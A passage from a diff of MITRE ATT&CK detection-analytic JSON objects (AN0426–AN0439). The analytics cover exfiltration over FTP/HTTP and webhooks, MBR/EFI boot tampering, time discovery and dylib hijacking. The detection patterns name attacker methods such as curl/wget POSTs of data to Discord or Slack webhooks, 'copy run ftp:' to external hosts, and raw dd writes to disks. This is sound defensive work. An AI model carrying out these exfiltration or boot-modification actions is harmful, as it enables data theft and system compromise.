"x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "log stream - file subsystem" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log, ftp.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptedClientAllowlist", + "description": "Defines allowed automated agents that may transmit HTTP or FTP data (e.g., backup tools)." + }, + { + "field": "PayloadInspectionKeywordList", + "description": "Terms or patterns indicating structured or sensitive data leaving via HTTP/FTP." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--82f3feb5-f17e-4c1c-b67d-c8331d220905", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0149#AN0426", + "external_id": "AN0426" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0426", + "description": "Detects shell-based scripts accessing configuration files or snapshots and transmitting them over unencrypted protocols such as FTP or HTTP to non-management IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "event stream" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "flow records" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VMConfigAccessPathWatchlist", + "description": "Locations of VMX/CFG/SNAPSHOT files that should not be accessed by non-admin shells." + }, + { + "field": "OutboundProtocolProfile", + "description": "Expected network protocols for guest and host interfaces." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--611778c2-9de4-4066-b7d1-78752891c32e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0149#AN0427", + "external_id": "AN0427" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0427", + "description": "Detects use of unencrypted protocols (e.g., TFTP, FTP, HTTP) to transfer configuration files, routing tables, or logs to untrusted IP addresses, especially using administrative commands like `copy run ftp:`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "CLI command logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "networkdevice:syslog", + "channel": "flow records" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "PCAP inspection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProtocolCommandWatchlist", + "description": "Flag commands like `copy`, `archive tar`, or `upload` directed at external hosts." + }, + { + "field": "DestinationIPBlocklist", + "description": "Define external IP ranges unauthorized to receive router/switch configs." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7edc8ff6-0616-4fab-a7b7-1bd3d08cc0b1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0150#AN0428", + "external_id": "AN0428" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0428", + "description": "Detection of raw access to physical drives, modification of boot records (MBR/VBR), and suspicious file creation or alteration within the EFI System Partition (ESP). Correlates privileged process execution with low-level disk modification and unexpected driver or firmware interactions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=9" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--0f72bf50-35b3-419d-ab95-70f9b6a818dd", + "name": "WinEventLog:Security", + "channel": "4673, 4674" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownGoodMBRHashes", + "description": "Baseline hashes of clean MBR/VBR sectors for comparison" + }, + { + "field": "ESPFileWhitelist", + "description": "Approved EFI executables within ESP directories" + }, + { + "field": "TimeWindow", + "description": "Correlation window between privileged access, raw disk modification, and EFI file creation" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3d209345-1676-4170-b1d0-d6538bce06c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0150#AN0429", + "external_id": "AN0429" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0429", + "description": "Detection of suspicious write operations to block devices, modifications of bootloader files (GRUB, initrd, vmlinuz), and unexpected changes within the EFI System Partition. Monitors privileged execution of utilities like dd, grub-install, or efibootmgr that modify boot sectors or loader entries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "linux:syslog", + "channel": "Block device write errors or unusual bootloader activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BootloaderHashBaseline", + "description": "Baseline checksums of GRUB, kernel, and initramfs images" + }, + { + "field": "EFIFileAllowlist", + "description": "Trusted EFI executables for Linux environments" + }, + { + "field": "AlertThresholds", + "description": "Tunable thresholds for triggering alerts on repeated EFI/bootloader writes" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bd34c127-9956-4616-999d-229f30512f74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0151#AN0430", + "external_id": "AN0430" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0430", + "description": "Untrusted or unusual process/script (cmd.exe, powershell.exe, w32tm.exe, net.exe, custom binaries) queries system time/timezone (e.g., w32tm /tz, net time \\\\host, Get-TimeZone, GetTickCount API) and (optionally) is followed within a short window by time-based scheduling or conditional execution (e.g., schtasks /create, at.exe, PowerShell Start-Sleep with large values).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:TaskScheduler", + "channel": "EventCode=106" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "WinEventLog:TaskScheduler", + "channel": "Task registration/execution shortly after a time discovery event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "EDR:Telemetry", + "channel": "Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window (e.g., 5\u201315 minutes) between time discovery and follow-on scheduling/conditional actions." + }, + { + "field": "AllowedParents", + "description": "Legitimate parent processes (e.g., corporate scripts, management agents) that frequently call time APIs." + }, + { + "field": "CommandlineKeywordList", + "description": "Extend/restrict keyword list for time queries (e.g., custom PS functions, .NET calls)." + }, + { + "field": "UserContextScope", + "description": "Restrict to non-service, non-administrative, or newly created/rare users." + }, + { + "field": "ProcessPrevalenceThreshold", + "description": "Frequency threshold to exclude common estate-wide benign usage." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9f2278c6-2e45-42fb-a1f9-00f02d496c53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0151#AN0431", + "external_id": "AN0431" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0431", + "description": "A process (often spawned by a shell, interpreter, or malware implant) executes time discovery via commands (date, timedatectl, hwclock, cat /etc/timezone, /proc/uptime) or direct syscalls (time(), clock_gettime) and is (optionally) followed by scheduled task creation/modification (crontab, at) or conditional sleep logic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "Rules capturing clock_gettime, time, gettimeofday syscalls when enabled" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "linux:syslog", + "channel": "sudo/date/timedatectl execution by non-standard users" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "linux::cron", + "channel": "crontab or at job created within TimeWindow post time discovery" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuditRulesSyscalls", + "description": "Scope of syscalls (time, clock_gettime, gettimeofday) monitored; may be performance-sensitive." + }, + { + "field": "AllowedBinaries", + "description": "List of legitimate automation/orchestration tools frequently querying time." + }, + { + "field": "TimeWindow", + "description": "Correlation window (e.g., 5\u201320 minutes) to link time discovery to follow-on cron/at changes." + }, + { + "field": "UserContextScope", + "description": "Ignore root-owned maintenance agents if desired; focus on interactive or newly created users." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--252e5c07-8ae0-4ef8-9a98-c11b6c6d4d46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0151#AN0432", + "external_id": "AN0432" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0432", + "description": "Process/script execution of systemsetup -gettimezone, date, ioreg, or API usage (timeIntervalSinceNow, gettimeofday) followed by time-based scheduling (launchd plist modification) or sleep-based execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "macos:unifiedlog", + "channel": "New/modified launchd plist (persistence/scheduling) within TimeWindow after time query" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchdPaths", + "description": "Organization-specific list of allowed launchd write locations to filter benign agents." + }, + { + "field": "TimeWindow", + "description": "Correlation window to link time discovery to launchd persistence/scheduling." + }, + { + "field": "AllowedCallers", + "description": "Known management agents (e.g., JAMF) that legitimately call systemsetup/date." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2e51d33e-28d3-4e3f-a68a-38bc2d4abdde", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0151#AN0433", + "external_id": "AN0433" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0433", + "description": "Interactive or remote shell/API invocation of esxcli system clock get or querying time parameters via hostd/vpxa shortly followed by time/ntp configuration checks or scheduled task creation, executed by non-standard accounts or outside maintenance windows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "/var/log/shell.log entries containing \"esxcli system clock get\"" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "esxi:hostd", + "channel": "/var/log/hostd.log API calls reading/altering time/ntp settings" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "esxi:syslog", + "channel": "/var/log/vpxa.log task invocations tied to time configuration" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MaintenanceWindow", + "description": "Only alert if outside approved ops windows." + }, + { + "field": "PrivilegedAccountsAllowList", + "description": "Suppress alerts for known service accounts." + }, + { + "field": "RemoteIPAllowList", + "description": "Whitelist management station IPs." + }, + { + "field": "TimeWindow", + "description": "Correlation between esxcli time query and subsequent hostd/vpxa config calls." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--99ab1534-79b5-4660-83ed-3604bcb320f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0151#AN0434", + "external_id": "AN0434" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0434", + "description": "Non-standard or rare users/locations issue CLI commands like \"show clock detail\" or \"show timezone\"; optionally followed by configuration of time/timezone or NTP sources. AAA/TACACS+ accounting and syslog correlate execution to identity, source IP, and privilege level.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "command-exec: CLI commands containing \"show clock\", \"show clock detail\", \"show timezone\" executed by suspicious user/source" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:config", + "channel": "config-change: timezone or ntp server configuration change after a time query command" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedAdminSubnets", + "description": "Only alert on access from outside the NOC/management subnets." + }, + { + "field": "KnownMaintenanceUsers", + "description": "Whitelist known automation/orchestration accounts." + }, + { + "field": "TimeWindow", + "description": "Correlation window between time query and config change." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a1e502e2-d940-4c71-9eac-893e7a3025e3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0152#AN0435", + "external_id": "AN0435" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0435", + "description": "Detection focuses on adversaries placing or modifying malicious dylibs in locations searched by legitimate applications. From the defender\u2019s perspective, observable patterns include unexpected creation or modification of dylib files in application bundle paths, unusual module loads by processes compared to historical baselines, and execution of applications loading dylibs from suspicious directories (e.g., /tmp, user-controlled paths). Correlation across file system changes, process execution, and module loads provides high-fidelity detection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "process execution events with dylib load activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "create/modify dylib files in monitored directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "replace existing dylibs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDirectories", + "description": "Application bundle directories (e.g., /Applications/*/Contents/MacOS, /Library/Frameworks). Adversaries may use non-standard paths like /tmp." + }, + { + "field": "BaselineDylibs", + "description": "Historical record of dylibs typically loaded by applications. Deviations should be flagged." + }, + { + "field": "CorrelationWindow", + "description": "Timeframe to correlate dylib file modification with subsequent process execution and module loads." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98bd8e15-68ea-43a3-982b-66fcd1142c9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0153#AN0436", + "external_id": "AN0436" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0436", + "description": "Unusual processes (e.g., powershell.exe, wscript.exe, mshta.exe) posting data to webhook endpoints (Discord, Slack, webhook.site) using HTTP POST/PUT requests. Defender perspective: suspicious process lineage followed by outbound HTTPS traffic to webhook domains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WebhookDomains", + "description": "Domains to monitor such as discord.com/api/webhooks, slack.com/api, webhook.site." + }, + { + "field": "UploadSizeThreshold", + "description": "Threshold for abnormal data sent via webhook requests." + }, + { + "field": "ApprovedApps", + "description": "List of approved business apps using webhooks to reduce noise." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--053dd0c5-9746-46ea-bdeb-b385bf5cbbf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0153#AN0437", + "external_id": "AN0437" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0437", + "description": "Processes such as curl, wget, or custom scripts initiating POST requests to webhook endpoints with encoded or bulk data. Defender perspective: abnormal chaining of file compression or access followed by outbound data to webhook URLs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "curl -X POST, wget --post-data" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "read/open of sensitive files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "large HTTPS POST requests to webhook endpoints" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTools", + "description": "Expected command-line utilities allowed to interact with webhooks in enterprise environments." + }, + { + "field": "TimeWindow", + "description": "Expected timeframe for legitimate webhook traffic (e.g., CI/CD deployments)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d7f9b07f-401c-4685-a014-6a824f95f866", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0153#AN0438", + "external_id": "AN0438" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0438", + "description": "Unexpected apps or scripts (osascript, curl, Automator workflows) exfiltrating data via webhooks. Defender perspective: correlation of clipboard/file read operations followed by HTTPS POST traffic to webhook services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of osascript, curl, or unexpected automation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "file read of sensitive directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "HTTPS POST to known webhook URLs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WebhookEndpoints", + "description": "Webhook URLs monitored for exfiltration." + }, + { + "field": "EntropyThreshold", + "description": "High entropy payloads may indicate encoded/encrypted exfiltration." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--37166782-8770-4812-b70c-27f3c705489b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0153#AN0439", + "external_id": "AN0439" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0439", + "description": "VMware services or management daemons generating HTTP POST requests to webhook endpoints, chained with unusual datastore or log access. Defender perspective: exfiltration from VM logs or disk images over webhook URLs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + 